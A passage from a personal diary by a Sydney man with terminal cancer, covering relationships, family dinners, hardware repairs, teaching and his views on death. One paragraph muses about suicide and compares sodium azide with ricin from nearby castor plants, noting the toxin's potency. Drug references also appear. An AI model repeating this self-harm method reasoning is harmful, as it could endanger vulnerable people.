circular saw and discovered I preferred my +machete anyway. Whoopee. + + +Leakage. Arr. Dontcha hate it when the oncologist sends a report to yer +referring doctor, which happens to be yer dad, and it contains details +you'd prefer yer dad didn't know, like, how when you admit frankly to yer +oncologist that you `have a regular partner' and it ends up in the summary +notes sent to yer dad in the post later on? I've gone to some effort to +keep my carnal involvements right the hell off their radar. The phrasing +is awkward.... there _is_ a person to whom I am known carnally on an +semi-frequent basis, but I don't `have' them, I don't own or control them +or anything like that, and she's happily shagging other people too with my +blessing - this is hardly a regular partner, in that sense. But a small +slice of my private life is revealed to dad nevertheless, that I'd prefer +he didn't know. The amusing irony of this is that he knows who this person +is in rather greater detail than I do, in some respects. Dad's her +gynaecologist. + + +Friday night was kind of amusing. Spectacular lightning crackled over +Sydney, feral megajoules crash-burning their own electricity grid into the +black sky with miles of galvanotactic varicosities, pissing short photons +which lingered momentarily on our scotopic retinas like evaporating +graffiti. I watched it from the windowsill as it flash-froze the passing +cars to the road in its random blue strobelight. To the backdrop of this +lightshow I discovered my load of cannabis cookies have passed their +get-stoned-by date, but this didn't matter especially since the atmosphere +was quite pleasant anyway. Willow said it was gonna be a non-clan +gathering and most of the Sydney Clan turned up (including Fishie and his +VERY BIG tattoo). People ripped .mp3s off the Kazaa peer network, drank +wine, bitched about their lives in mundane, non-drain space. We staggered +out into the drizzle at about 3am. Two small, poorly vented rooms, and +arrrr shit why must people smoke? It makes my eyes hurt, and makes me +smell bad. + + + +Here's a three layer headfuck. See if you figure it out before I reveal +it. + + +I slept on the couch at Wolfie's new place, where I discovered an +identical copy of the hi-fi I hauled out of the dumpster. Maybe there's a +manual for the hi-fi somewhere in the place, I am still fucked if I can +drive that equaliser thingo without some instructions. Just at the mo, I +dunno if the people who live there quite trust me. They had chained their +two bicycles together, to the building's plumbing, by some steel cable and +a combination lock to which they'd forgotten the combination. They asked +me to break the lock to free their bicycles. After a few minutes trying to +do so with their inadeqate tools (eg, screwdriver with easily breakable +end) I looked at the lock and remembered my first childhood encounter with +one of these things which would have been when I was oh, six. I wonder if +... I thought to myself. I remember its combination, too. 2136. + +Confident in what I remembered of the lock design, I straightened my arms, +gripped the opposite ends of the lock in each hand, tightened my fingers +hard, stiffened my wrists, and parted my elbows which flexed the device +hard enough to snap its spindle. Pretty good for a limp-wristed computer +geek. I'm not superman, by any means. I exploited a classic design +stupidity where by adding more theoretical security, the system is made +physically weaker. This is more common than one thinks. In engineering, +it is the use of a beam so heavy that it can't hold up its own weight. In +cyptography, it is the use of a cyptographic algorithm which by its very +complexity renders the machine on which it is executed subtly broken. In +locksmithing, it's usually a tradeoff in convenience for security. Having +to carry keys is the price you pay for the inability to remember numbers. + +These combination locks come in two kinds: four digit (10000 combinations) +and five digit (100000 combinations). Although by adding one more rotor +(ring with ten digits on it), they've increased the time it'd take someone +to go through the combinations by a factor of ten, it was the additional +length of the lock body with the additional rotor on it which made it long +enough for me to have enough lock to manually grab in order to exert a +torque sufficient to snap it. And yeah, like anyone's gonna try and pick +through 10e5 combinations let alone 10e6. Worse, if you look at the +combination mechanism from the outside it looks heavier and tougher than +the cable to which it is swaged, but the combination mechanism exacts a +toll in cross-sectional integrity greater than the benefit gained by +having a combination lock at all. A cylinder lock is not dependant on the +physical toughness of its decoding mechanism, whereas a combination lock +is. + +End headfuck. + +Are you getting an idea how my head works? The explanatory paragraphs I +write, like those above, are the very convincing, logically espoused, +cover-up for the truth, which is in this case, : if they'd gone to the +effort of building the lock out of something other than a pisspoor +subspecies of metalliferous Taiwanese dogshit I'da had no chance busting +it with my bare hands. + +How can I rely on what I think in a mind which only occasionally catches +itself pulling the wool over its own eyes? + +I can't, but I've spotted it this time. The whole lock paragraph is a +diversion, to the quiet thought that while I lay on the couch at Wolfie's +place completely aware that I'd much rather be curled up on her mattress +enveloped in her waste heat, I wouldn't let myself feel bad for not being +there. But I wanted to be there and wanted to feel bad for not being +there. I was sorta just frozen in the neutral zone. What's going on... +what planet am I on at the moment? + +It's worse. The logic, the vocab, are a veneer of rationality over what I +suspect is a lot more churning than I'm ready to let escape into my +keyboard. I should be writing out of the other side of my animal, the side +which laughs and gets cranky and everything else from depressed to horny +to elated. But they don't write well. Or I don't write them well, or +something like that. Or they want to say things I don't want to hear. +Wolfie's got a lot of stuff on her plate at the moment from her last +relationship anyway, and I'm sort of torn between further involvement with +her, and staying outta there, and its partly 'cos I don't think she needs +the baggage I'm starting to sling around with me about being on the brink +of carking it. It's an unfair card to play on people, but it's an unfair +card to be holding, too. I'm bored of this irksome mortality. I don't want +to be dead until I'm actually dead. + +Speaking of bringing that about it turns out I can save the azide for +another task. There's a great patch of ricinis communis on the railway +siding not four km from here. The seeds are full of a 70kDa two-part +albumin protein notorious for its ability to bind irreversibly to +ribosomes and thence block peptide synthesis. The dosages are tiny, ng's +per kilo, much better than electron transport chain inhibitors. I just +don't know how fast it acts. Big proteins take a while to diffuse, I +suspect. + + +Sat 24 + + +I was on King St, and I bumped into Lini, a woman with whom I was in a +relationship for about five months a couple of years ago. Her hair had +changed. Her *eyes* had changed (on closer inspection this was due to some +wierdo contact lenses she's wearing... yeah, like someone half Japanese +and half Chinese is gonna have green eyes). I haven't seen her since she +left the country to go to France ostensibly to study but she ended up +wandering around most of Eastern Europe. It turns out she's been back +since October but never looked me up. She got engaged to someone she met +in September 2002 while she was in the loop with me. She said I hadn't +changed a bit. I'm wondering, is there something about my personality +which means I'm finding myself to be frequently a last-shag before +marriage, or is it demographic, or statistical? I'm glad she's out there +doing whatever she's doing. + +------ + +Why, you might be asking yourself, was this file called losing_it.txt ? + +I think it's 'cos I'm letting go, which might be another way of saying I +think I'm losin' my grip. I can't decide if, in the light of my +carb-hungry tumor load, my chowing into a bowl of pasta is diagnostic that +I haven't quite accepted my mortality, or that I have accepted it and, a +metabolic kamikai pilot, I am pushing the throttle forward, diving +downwards faster, waiting to be claimed by the ascending angry plumbous +rain or the indifferent, frozen hydrous wastes stretching in every +direction. Provoke it or not, it'll kill me. + +My immanent eschaton is distracting me, eating my brain. It follows me +into the shower, into women's bedrooms, out onto the highway, it goes with +me to dinner and I swallow it with breakfast. Broken bits of poetic stuff +are falling into my stream of awareness, and I'm not even motivated to +flesh out any sort of rhyming structure or metre or even polish 'em up +like I used to. + +if i seem diverted +it's not quite knowing why +that i persist in living +now i'm condemned to die + +i don't know why you hold me +nor why i'm holding you; +seek a place to hide +from blank despair is what i do. + +grasp me, clench me, anchor me, +convince me that you know; +hold me gently if i come, +and tightly when i go. + + +But... whooah. Weepy emotionality aside, it really does focus one's +attention on how cool it is to be alive when the alternative is just +around the corner. + + +It's saturday + +I just did something rude. Dad mentioned that Frank and Trev, who invited +me out to dinner with them on the 30th, rang up and at some point in the +conversation they had, Dad decided he'd come along. I mentioned if this +was the case, I would not go. The deal was, Frank, Trev, Me, chat. I am +not gonna sit there and politely spectate as these three guys, dear as +they are to me in various ways, chat about the same stuff they've talked +about in my absence for the last thirty years and anyway dad will not be +able to not tell me to mind my language when talking to his workmates of +the last three decades, which he couldn't help doing if he was there. No +bait'n'switch, thanks. So I told dad, who said ok, he won't go. I love the +guy dearly but not when he's in a setting which makes him behave overly +parentally in public. + + +Sun 25th. I saw the final Lord of the Rings flick today, which aside from +everything else blew my head off simply by being so cinematographically +vast and varied as to exceed my understanding of how they could possibly +make such a work and do it so well. Dad liked it but he didn't see the 2nd +one in the series, so he didn't understand it. + +I notice on the 'Clan list people are talking about how 10 people did the +Big Crawl In to the Big Day Out through the drainage in Homebush, and saw +the show for the nth year in a row without paying a cent. Aphex Twin was +muddy but apparently Peaches was OK. Cool 8-) + +I have cleaned out the back work shed, as a consequence of my recognition +that many of the things in it were things I had acquired for use in my +forseeable lifespan, a parameter which has now changed, so I've flung a +lot of stuff. This has the happy upshot that there's more room in the tiny +outbuilding. Some of the stuff has now been installed as I had intended to +do for ages but never got around to it - an aluminium vent grille in the +door and a half-horsepower (about 370 watts) centrifigal blower I +scavenged from a roadside in Arncliffe in 1997 are gonna stop the place +from being so damned hot and stuffy in summer, and will have the handy +additional property of pulling solder fumes, oversprayed paint, solvent +vapours and such away from me as I work. The blower is quiet but moves +some serious air. Red jarrah sawdust and aluminium shavings made an +interesting mix of colours on the cement floor. I put a new power cord on +the 1967 10MHz valve-driven Tektronics storage CRO I own, since the old +cord had *depolymerised* And I found some interesting jars I thought I'd +lost, which were interesting for their chemical contents rather than their +actual pattern. Now, what betanitrostyrene was this, exactly? + + +Monday. Austrafuckinalia day. + +Yeah, hooray. Why we don't call this Dependance Day and reschedule it to +July 4th in recognition of our current status as an economic fiefdom of +the United States eludes me. Every indigenous fuckin' culture which ever +appeared here, be it derived from rockchoppin' pom convicts or the brown +people who they took the country from a couple of centuries ago is now +mostly supplanted by mass-produced asinine crap which either arrives in +shipping containers or is electromagnetically sprayed upon us by various +geostationary satellites around the clock. I was going through my top +drawer a couple of days ago to get sufficient ID for this new bank account +I wanted to create, and found my passport. It's gonna expire ten days +before I turn 33. I wondered momentarily if I should burn it. I am ashamed +to be a citizen of this soulless, vapid, excuse for a nation, and would +similarly be ashamed to present evidence of same anywhere else in the +world. I don't think I'll be fucked renewing it. Looks like I'm staying +home to die. + +I decided to free myself from the ridiculous circumstance of being in a +monogamous relationship with someone who won't shag me. She invited me +around today, on the day she was moving house, and I knew it was gonna +involve a bit of hefting furniture, and I did it, 'cos it's just a +friendly thing to do - moving's a stress. The expected pattern has +remained the same. No, she's not going to Newcastle or Brissie yet, maybe +she's staying in Sydney (read, maybe she'll still get around to shagging +me) for a few weeks yet. Arrr, no girl, you go where you like, it's just +not fair to offer me something you're not prepared to share with me and +then deny me the right to seek it elsewhere... and she knew other women +were keen for a go at me, since when I told her this was the case (it +sounds like a bold, egotistical and possibly even false claim but I'm just +giving you the facts ma'am) she kind of tossed it back at me later as a +justification for her not offering to shag me. + +Lets get down to some meaty technicalities: after about the fifth time +we'd been naked in the sack and we still hadn't shagged, I mentioned to +her quietly that I had no idea what the hell I was doing there at all, +given the predicate under which I was even in the building, and mentioned +my frustration about the whole situation. She asked me not to leave, and +yeah we did subsequently, technically, fuck. Technically is the right +word, too. But her fellating me until I'm hard, jumping on for a while +then jumping off without anyone even getting off was a dispiriting, +loveless, perfunctory waste of an opportunity to actually share our carnal +talents (and everybody has them) - I've had more uplifting moments with my +left hand. I'm faintly annoyed with myself for submitting to this leash +for so long (Hmm, Jan 02-27). Non-shagging aside, I can't say I'm gonna +miss someone who wouldn't really reveal themselves to me to _begin_ with, +but I do feel like I've missed an opportunity to get to know her... I +asked her a couple of years ago `What's your story?' and she answered `You +don't want to know.' Oh-kay. She filled me in with some of that background +stuff she said I didn't want to know, and I shook my head, wondering why +she didn't tell me earlier, it would have helped me understand her, a LOT. + +As is, I can see she's just living a busy life and isn't gonna have time +for a bloke, but why didn't she know that? If she keeps this up a lot of +blokes are gonna be pissed off at her. She said she'd invite me to her +going-away party and I don't think I'll bother going. I'll be workin' in +Feb anyway. As I was about to leave she asked me if I wanted to see the +Lord of the Rings. She was a bit stroppy when I told her I saw it +yesterday with my dad. We had a date, she said. We had never set a date, +and I didn't feel especially inclined to tell her I wasn't gonna wait till +the flick was no longer being screened for us to actually get around to +point our eyeballs at it, so this somewhat bitter comment didn't make it +out of my gob. Thankfully. I'm not _that_ cut up about it. She's got her +reasons and I'm sure they're good ones from where she sits. I deleted her +SMSs which had accumulated in my fone, including such false advertising +as: + +Eat my food, +lick my dog +see you soon and +we'll fuck like hogs. + +So I don't even have her number now. This is the nanosecond emotional +brutality of the digital age. + +And I can't email her anything by way of an explanation. + +I think this decision fell today because of two other things. The person +with whom I have shared shags for most of last year returns tomorrow and +someone else has asked to shag me the following night. Goodie good. Would +it be fair to phrase it this way - I'm dying for a root? + + +Tues 27th. STUCCO's server's shat itself, grr. Wonder why? One of the +residents was logged into it and it died while he was foolin' with it. I +checked it out later, I think it has acquired a dodgy network card (MAC +addresses are never FF:FF:FF:FF:FF:FF and they have to be plugged into a +cable before they can drop a few thousand packets a second). I initially +brought around a standby machine prepared long ago for speedy replacement +in the event of precisely this eventuality, dropped it there for install +later. I caught up with the recently-returned-from-Amerikkka cookie +manufacturer at the Fish Cafe. I came back later and discovered somethin' +else happened in the STUCCO server, and although I swapped out the mobo, +the previous drive wouldn't completely boot, if froze somewhere after +freeing kernel memory. So I went back to the Ice Cream factory and, while +the two replacement machines I'd set up were installing themselves on the +geek desk, danced a carnal welcome-back dance with the Cookie Manufacturer +as rain fell on the colourbond roof. I stagggered back to STUCCO with +pre-installed hardware, a grin of contentment and hair which obviously +looked like I'd fucked in it, and had their router/gateway running again +by 2am. I slept on He-Pad's futon, woke up, drove down to a coffee shop on +Abercrombie street with Adam Smith, and en-route was lane-changed into by +a 4wd who didn't give a fuck as I thumped my gloved fist on their rear +left window. Sydney's getting insane. I think it's time to carry a hammer +in the handlebar cabling. + +I scored a nice pair of steel-capped boots, some aluminium chequerplate +and a (suspect) pentium-II mobo from the Mekanarchy garbage pile, and in +the evening went off with the mysterious South American of previous rants, +for dinner and what turned into a shag with a lot of +leather-against-leather noises in the front seat of her car. Beforehand, +as we strode through Newtown looking for a place to eat we bumped into +she-who-refused-to-shag-me and had a short chat. I think she-who-refused +knew more than enough to put one and one together. I might be a slut but +I'm not a liar. The South American sent me a rather complementary SMS +later but maybe this just means she needs to get out more. + + +--------- + + +THurs 29. Degs. + +I finally got around to screwing some wood to the side of dad's gynae +table, but it turns out it needs more offset to mount the examination +light, so I'll have to come back later. With that out of my hair I did the +long drive north to Normanhurst. It's been a couple of years since I +annoyed Dave and Leoni. Leoni's amidst a phd and is also turning around +the direction of a centuries-old girls educational institution of which +she has been headmistress for ten years. Dave's been a sick boy again, he +and I would have compared hernia scars but his is looking too ugly, he +said. He had made his usual excellent loaf of bread, and cooked great nosh +(I mashed up some olives, anchovies, garlic, and other stuff in a heavy +mortar-and-pestle prior to his sticking it in the chook which we all ate +together later). I also heard momentarily over the 'phone from Lou, who's +in some teeny island somewhere, as far as I can tell, metamorphosising +into a WarOnDwugz footsoldier for the UN. I am wondering what to say to +her these days, operating in a framework where she knows half the +neurotransmitters in her own head are illegal under various drug synthesis +analogues laws, and she uses those same neurotransmitters to know this +fact. + +"The rich kid becomes a junkie. The poor kid an advertiser. + What a tragic waste of potential - bein' a junkie's not so good either." + TISM - `Greg! The stop sign!' + +I find it irksome that dear old Dave's now officially living in a house a +couple of hundred miles down the coast, because in order to dodge some +ludicrous land tax bill he technically has to be a resident there. What of +a tax system which treats its fair citizens so poorly? Michael Egan, NSW +tax commissioner, you are a low prick. + +Blah blah, so what have you been doing... they asked. I'm tired of +delivering the news, hearing a strange silence and looking at the pained +expression on yet another face. + +I think it's the first time we didn't say grace. Either they've woken up +to my atheism, or more likely they've dropped the custom just 'cos they've +figured out it doesn't matter. + +It's been a strange conversation I've had with Leoni over the years. She's +another deeply spiritual person and we've been chipping away at the +epistemological edges at the rate of about one hour of conversation per +annum which leaves a lot of time to think about it inbetweentimes. I had +to think about it a bit when she asked the question, `So how are you going +to come to terms with this?' and I said `Um.........' with a long pause +before I said anything. As usual I didn't come out with the truth and say +that This is cancer, There are no terms, There is no negotiation; it's +blunt and the truth, but arr, fuckin' needlessly melodramatic. I think the +pause happened because I was looking for terms she'd understand. I can't +even remember what sort of dribble I mumbled, something about the direct +jump to the acceptance stage, the tendancy I have to occasionally +experience depression for a little while then go back to acceptance. +Probably some other stuff. She and Dave appear to be convinced that they +don't go away when they die. I explained to them that there just isn't the +bandwidth to get a the information contained in a human personality out of +its braincase... we speak at what, a few tens of bits per seconds? The +real allocation of data carrying capacity hangs off the front of the male +pelve, say, 5ml, with 300x10e6 wrigglers each bearing 1.6x10e9 base pairs, +at two bits per base pair on average, is about 9x10^17 bits transferred +from one human to another in the carnal act. Nature provides MASSIVE +bandwidth for reproduction, and doesn't allocate even a squirt worth of +bandwidth to provide an escape hatch for the personality that appears in +yer brain after a few years of life. Don't they get it? Ya die, ya rot. +That's it. + +She does know, though, that I won't go bitching to some god about it. I +was more straight-up with Dave about how I'm gonna come to terms with it. +I reminded him of a cartoon I like, where there's this huge oaken desk, +strewn with sheets of A4 paper. The walls, the floor, everywhere is +covered with sheets of A4 paper. At the desk sits an old guy with a big +rubber stamp, and he's stamping everything in arm's reach with a sort of +uncaring grim determination. The stamp has already stamped all the visible +sheets of paper in the room. In big red capital letters, the stamp says + + FUCK + IT + + + +Intriguing that she's as interested in The Matrix as I am. I've always +thought about it in a computation/emulation sense... peel everything back +and there's just mathematics and physics, the data transformation language +and its implementation which the universe runs on, respectively. She'd +never heard of the CellTicks in Hans Moravec's book. Has never read Go"del +Escher Bach (though they have it in their house). And has no idea about +the investigations which have gone into wether or not there's anything to +the anthropic cosmological principle as a diagnostic indicator that the +universe we know, configured as it is, exhibits any kind of design. + +Dave's discovered the hilarious hillbilly AC/DC cover band Hayseed Dixie +and is sending me a copy of their cd. Reciprocally I've cooked two copies +of AC/DC's Back In Black, probably accadacca's thumpinest album.... one +for Dave and one for Dad who is sick of listening to other surgeon's poncy +classical stuff being played in the theatre while he operates. I'm not +sure I'd like my uterus chopped out to the strains of `You Shook Me All +Night Long' but I guess that's why anaesthetic was developed. I tested the +burnt copies + +(generated thusly: +cdparanoia -B /dev/cdrom +cdrecord -audio -v dev=0,6,0 speed=4 track* +eject ) + +on the dumpster-dived stereo, and yeaah, rockin', I think I might have +driven it harder than it really wanted, since at 0dB, clipping indicator +lit, internal-organ damage volume, the cooling fan vent holes emit air +with the distinctly burnt smell of charring printed circuit boards. + +"How long till it blows?" -Hicks to Ripley, Aliens + +It was never a hit but "Shake A Leg" is a driving, ballsy piece of music, +well suited as background to say, a poll tax riot spread across several +blocks, and is not to be trifled with under heavy amplification. I +recommend listening to it with earplugs, so you don't hurt your ears with +blistering treble hiss but still get the required internal organ jiggling +from the drum and bass. It also helps if the actual cd player is in +another room since the vibes mess up the laser tracking. + + +Yeah, fuck the record companies. Like Sony needs another twenty bucks. But +they're gonna get 'em... dad's lost his copy of High Voltage. + + +Fri. Feb 30. + +It rained in the arvo, and I eventually made it down to Sans Souci, which +is largely un-navigable now. Is there something about people south of the +Georges River which means they can't negotiate T intersections +intelligently? Nope, it's the signage doesn't let 'em. No Right Turn, No +Left Turn, No Stopping, No Standing, All Lanes Must Turn Left, signs like +this stood everywhere I looked, arrr, why doesn't the RTA print a generic +All Right, Fuck Off sign and save a shitload of sheet aluminium? Maybe +nobody here drives cars or they abandoned them all on the roadside when +they realised that obeying the signage to get drive anywhere entailed road +infringement fines greater than the nett value of the vehicles they owned. +I met Trev, and he drove in his merc (which he doesn't much care for if +his driving's anything to go by) down to Cronulla to a restaurant called +the Naked Grape. Frank showed up a bit late but did indeed show up. Good +nosh, good chatting to the old guys, who as a result of being gynos for +longer than I've been alive are full of good stories, most of them only +peripherally related to their job. They split my bill, bless 'em. Trev +went for a piss before we left and a guy standing at the urinal next to +him asked him if he was a doctor; when Trev said yes, the fellow mentioned +that Trev had delivered him 20 years previously. + +I went back to Trev's for additional chat and to peruse the antiques he +has accumulated over a lifetime. He's a man of rare depth and many +dimensions. He's been quite astute in what he acquires... there's working +clocks 300 years old, ceramics from the Ming Dynasty, furniture so old the +insects which have bored into it are long extinct, watches hand-made with +components so small the women who made them ruined their eyesight after a +few years, rah rah. We had a good yack about these things, and he's _very_ +knowledgable about this stuff. I think he considers himself temporary +custodian of these very old things, but also accumulates them as tax +dodges - and good luck to him. I wonder if his success in accumulating +these beautiful, and incidentally monetarily valuable things gnaws at him, +or that some people envy his success in so doing. He laughed a +delightfully satisfied and contented laugh when I told him the best tax +dodge is to not waste hours earning anything taxable in the first place, +which is why I've spent so many hours in unpaid employ for my own +amusement. + +He is nonetheless not clued into some important things. He reckons we +don't know the atomic structures of things like Coenzyme A (it was deduced +in 1950) and has no idea about a lot of important biochem and cellular +metabolism. Never heard of G-coupled protein receptors (which are what +make hormones act so powerfully). He's convinced that the bible's +completely accurate and believable and plausible since it happens to +include some anatomical correct descriptions of say, why Goliath (a +pituitary giant) copped a stone in the side of the head : the big dude +used his peripheral vision to see since his pituitary tumor buggered the +nerves which made his central vision work. Hence the side of his head was +exposed and copped the projectile. Great... a wave of accuracy in an ocean +of lies does not a sea of truth make. Did it never occur to him that the +boring bits which would act as controls for this sort of story got left +out of this book? Does it never occur to him that nobody from his very own +trade was there to certify wether Mary was really a virgin - and how, post +partum, could you ever tell anyway? I had to clue him into some serious +fuckups in genetic engineering before he got a clue about why it might not +be a good idea to mess with the stability of the genomes of the plants +underpinning say, the entirety of western agriculture. We chatted about +everything, ranging from epistemology to the geological processes which +led to the formation of the phenocrysts in his granite tabletop. + +I stayed so long chatting about stuff with Trev that it was nearly +midnight by the time I left. Natch it pissed rain. So I didn't ride to +Newtown so who knows what R's got up to. I hope she wasn't abandoned to +the uncaring smoky winds of Zanzibar. Her blog suggests not. + +The weekend was sort of boring. Both the mobos I scavenged were +deadie-dead-dead (well, a non-fixable CMOS checksum error on one, the +others are totally silent). The flautist is not, I think, quite ready to +let me go, by which I mean, I'm gone and she doesn't realise it yet... +she's dropped off her broken cd stacker to see if I can fix it. I'm gonna +do it 'cos I've never had a chance to play with one before, but I think +she thinks it's just another possibly handy service to extract from pred. +Well, it is, but I'm not feeling used. Yet. + +Joe Tainter's book "The Collapse of Complex Civilisations" which I have +finally got into heavily, is a bloody good book. Confirms many things I +suspected (like, why there's a neverending proliferation of roadsigns and +the ratio of bureaucrats to people who *do* stuff continually increases) +and suggests several things I didn't. I'm glad I'm dying. Don't read it if +you're not. + +Arr shit, work tomorrow, enrolment insanity. Today, Feb 1, I lubed the +bike chain, chopped some tree bits around the place (dad's massacred the +ironbark suckers again but it fortunately refuses to die) and Andy +mentioned conway's / was full. Amongst other things I went to chop some +spam out of + +/home/predator/Maildir/spam/new + +and discovered a prolonged, churlish spew from diode, from an address +other than his normal one which I blacklisted... the spam detection +heuristics caught it anyway. Don'tcha hate must-have-the-last-wordists? I +think my spamfilter might be better than I realise.... he mentions several +times in the email that he thinks maybe my telling him to fuck off is a +result of a brain tumor changing my thinking. Maybe he can't cop the fact +that it isn't a pile of feral kidney cells which wrote the both-barrels +email I sent him, and I was in full control of my faculties when I +decided, despite my having known him for ten years, to garn geffugged. If +I was inclined to change my decision before I read this stuff, I'm not +much inclined to now. For a dude in his late 40s he's capable of some +remarkably childish sniping. Sad. Oh well. + +Is it chutzpah to ask him to return to me my (purchased hardcover) copy of +"Free Software, Free Society" by Stallman? The book is published under the +GNU general documentation license... so technically, nobody *can* own it. + +------------ + + + +Back to the grind. + + +It's Feb 4. Work sux not because it's work but because of all the stupid +risky wasteful overhead associated with doing it, like being stuck in +traffic for an hour, on a motorbike, in the rain on the way to work. The +schedule is stupid, almost not worth doing.. there's a 2.5hr hole in the +middle of it, and say an hour each way travel time, I'm spending about as +much time on the road as I am doing the work. The enrollment system has +been broken for oh, eight years, and will never be fixed because it's a +creeping horror of code mish-mash which nobody wants to attempt to repair +for fear of making it worse and it interoperates with other systems which +would also have to be adapted to changes made to it if it were fixed. +Because of this brokenness there is generated a time-wasteful paper trail +roughly three times the size it needs to be, which assumes one needs to do +it on paper at all, which one does not. + +The aircon's fucked up, again, so in a room with 25 students (all +dissipating about 100 watts of metabolic waste heat) and 25 computers say, +all dissipating about 250 watts for monitors and 100 watts for the actual +machines themselves, we have 2500 watts of human and 8750 watts of machine +waste heat, there's about 10kWatt keeping the place a-swelter. It's +February and not cold at all yet, and humid 'cos of the rain. So every +morning I come in and unscrew the screws from the only two windows in the +room to get something resembling breathable air into the place, and every +night after I leave, a 'droid from Security screws 'em shut again. With +new screws, since I deliberately keep the ones they added the night +before. And I teach in my old purple SJC Rowing singlet. + +There's some good infrastructure, tho, the overhead VGA projector means I +don't have to write on the whiteboard. Much better when I tie the +projector screen to a heavy object, however, since it prefers to scroll up +into its tube when let go. When the machine in front of me (which I use to +feed screens full of code fresh off my fingertips onto the projector +screen) crashes since it's running WinXP, I really get the shits. I hadda +revert to the never-crashes whiteboard technology after I'd slapped in a +load of weirdo hypertext link code which nobody had ever seen used before, +to call things like news feeds and so on. What year was this again? + +Actually in the later half of the week I've reverted to using Knoppix3.2 +GNU/Linux which doesn't crash, ever. So I've burnt some Knoppix3.2 (a +bootable, runs in RAM, German gnu/Linux distribution) cdroms which I will +give to the students tomorrow (students cannot resist free stuff) so they +have a really good distro' to get acclimatised to as an alternative to +GatesEmpireSoft. It's kind of fun watching people's eyes open when I show +'em how to write code. Most if not all of these people have never coded +anything in their life so some of the concepts are pretty alien and the +persnicketty, error-intolerant nature of the 'pootas scares 'em. In my +morning class I am the only blonde in the room and some of the kids (they +*are*, some barely into their twenties, reeking of the innocence which +comes from sheltered upbringings) have unpronouncable names from places in +Asia I'm only aware of dimly. Bright young things all, just 'poota +illiterate. The students approach these semiconductor wonders unaware that +they, themselves, are fundamentally alike as far as thermodynamics is +concerned, except the meat of which they are made, in which they live and +think and feel, is orders of magnitude more energy efficient than the +silicon in front of them, and has a development lifecycle measured in the +aeons. + + +Stacks + +The days are full (I mark the roll and tell anyone they can leave any time +they like, I'm not a gaoler!) and at night I've been working on the Sansui +CD stacker belonging to The Flautist. Here's the deal: it's jammed, not +working, not ejecting the 10 CDs trapped inside it either. The rig cost +about three hundred bux. It contains ten CDs, which are priced at $30 x 10 +plus the time/effort of locating the replacements if you lose your +existing copies, so it's about $600 worth of exposure she has entrusted to +my hands... plus the emotional loss if you lose your *music*. It is a +fascinating bit of engineering but I had to unscrew, unbolt, desolder, +prise apart, unfold, unhook several layers of stuff to get the cartridge +out (rescuing 9 cds) and peel off several other layers of metalwork and +circuitboard logic to rescue the last CD - a job that also required a +certain amount of fuckin'about with alligator clips and hookup wires and +DC power supplies to momentarily brute-force the motors which operated the +transport gearing, enough to get the freakin' thing to relinquish its grip +on the last disc. + +It took about three hours to strip it down. I rebuilt it in about two +hours (no parts lost, broken, etc either) and returned it all to her and +she reckons it works but I told her not to trust it: use copies of the CDs +that are important to you, don't leave 10 CDs in it all the time, minimise +your exposure I sent in an SMS to a new SMS she sent me. I do this stuff +well and I taught myself. Would I charge the usual $70 an hour to do this +stuff? Hmmmm. Maybe. I don't want to see the insides of it again if it +breaks after I warned her not to trust it. + +Dark Izzy was updating the ink job on the Flautist's leg when I went to +fix Mekanarchy's router after they changed DSL providers - a task made +much harder since David the mega-body piercer deconfigured a lot of the +DHCP and rc.local settings, and TPG as usual were not forthcoming about +the system settings in an unambiguous manner. + + +Plotting + +I more closely observed the devastation where dad had done a sly, brutal +prune on the suckers coming up from the stump of the termite-stricken +hardwood tree in the front yard. He can be a bastard at times, it was such +a nice bushy regrowth. He's legally compelled to have it, too, since he +planted nothing to replace the original tree. + +Later, dad and the dog were in bed so I jumped on. The dog likes to roll +over, legs akimbo, guts skyward, so I can scratch its stomach, but I can +get it to lick dad on command, which he hates. I was about to do this when +mum walked in and sat on the end of the bed, and mentioned that we ought +to buy a family plot down at the cemetary at Woronora - real estate in +Sydney is shitfully costly and I'm all for minimising the rent on a patch +with no water, electricity or net connection. I told 'em I didn't much +give a shit if they buried me as an atheist in the catholic section - I +reckon all corpses are atheists anyway, despite what the signs say (and I +bet people of every denomination claim membership of all the corpses in +the entire paddock) - but I figure if they could tolerate being in their +place while I was alive I'll tolerate being dead with 'em. Weird... I'll +decompose with a family biologically unrelated to me, a godless heathen +interred in hallowed earth. + +This'd sort of fuck up the no-cost, suicide-in-the-bush, animals scatter +my nutrients scenario, and waste additional resources digging a big hole, +carving a stupid chunk of rock (I'd prefer 316 stainless steel anyway) +with my name followed by a meaninglessly pretentious epitaph, putting me +in a box, all that crap I really don't want. And I'll need some cash to +help pay for the hole... so... where's that? + + + +Stuporannuation + +Some years ago the federal government made superannuation compulsory. Ever +wonder why? 'Cos people knew they were being rorted by the superannuation +companies, the tax system and inflation. Cash, in your hand, now, is much +more valuable than an entry in a database which says someone owes you the +same money in thirty years. The super companies profit on the value +differential between the money you pay them and the same quantity of less +valuable money they pay you back in forty years, plus and the difference +in the interest they are paid on the investments they make with your +money, and the slice of that which they pass on to you. As if interest is +gonna cover tax and inflation... naaaah. Ask any pensioner living on a +daily tin of Chicken and Liver Chumpy in fifty bux a week worth of +boarding house. + +Dream on. And by the time you, dear reader, want to get yours out in say, +2030, there's not gonna be a functional civilisation left to spend it in +since cheap hydrocarbon fuels will be long gone by then, along with the +agricultural system we built to run on them. Long term, the laws of +thermodynamics and the quirks of terran kerogenesis dictates what +economists call a bear market, by which I take them to mean, Ursus +middendorffi, as in gutted, hung up to cure in the smokehouse, and +stuffed by a professional taxidermist. + + +During the considerable hole in my schedule today I went up to the +Chancellery to talk to whoever it is who runs the UNSW superannuation +scheme to which I have been an unwilling contributor for as long as I've +been a tutor at the uni. It turns out I have a couple of grand in there. +It also turns out to be nearly impossible to extract, as you might expect. + +UniSuper is one tiny portion of an industry which is a systematic racket. +I used to work in a bicycle shop in the city and when I got the shits with +the crappy returns delivered by the Retail Employees Superannuation Trust +several years ago I was sacked for venturing the opinion that one would be +better putting it in a regular savings account. Nothing's changed. + +How is it that I chuck in a couple of hundred bucks on 15/10/2001 and by +29/03/2002 three quarters of that is gone? Or that between May 1, 2002 and +18 September the same year, the fund has actually lost fifty bucks, so the +previous contribution is totally gone? + +According to www.apra.gov.au, to obtain my cash, I have to either prove +financial hardship by being on social security for 26 weeks before I can +get it (I'm dying but I am not incapacitated so that'd rule me out even if +I wanted social security payments, which I don't), or I can get at it on +compassionate grounds, which aren't (this is why they call them +compassionate) - you can only get it out if two doctors (one a specialist) +are prepared to independantly sign off on pieces of paper saying that I +need expensive treatment not covered by the public health system. So I can +only get the bux out to spend them on an attempt to prolong my misery, +instead of getting 'em out to 